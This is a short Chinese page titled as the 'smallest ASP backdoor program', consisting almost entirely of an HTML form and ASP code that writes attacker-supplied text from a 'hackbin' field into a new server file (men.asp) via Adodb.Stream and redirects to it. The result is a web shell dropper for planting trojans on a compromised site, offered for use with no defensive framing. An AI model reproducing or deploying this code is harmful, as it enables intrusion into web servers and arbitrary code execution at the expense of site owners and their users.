最小asp后门程序

form action=http://***.com/jb51.asp method=post>
textarea name=value cols=120 rows=10 width=45>
set lP=server.createObject("Adodb.Stream")
lP.Open
lP.Type=2
lP.CharSet="gb2312"
lP.writetext request("hackbin")
lP.SaveToFile server.mappath("men.asp"),2
lP.Close
set lP=nothing
response.redirect "men.asp"
/textarea>
textarea name=hackbin cols=120 rows=10 width=45>添入生成木马的内容/textarea>BR>center>br> input type=submit value=提交>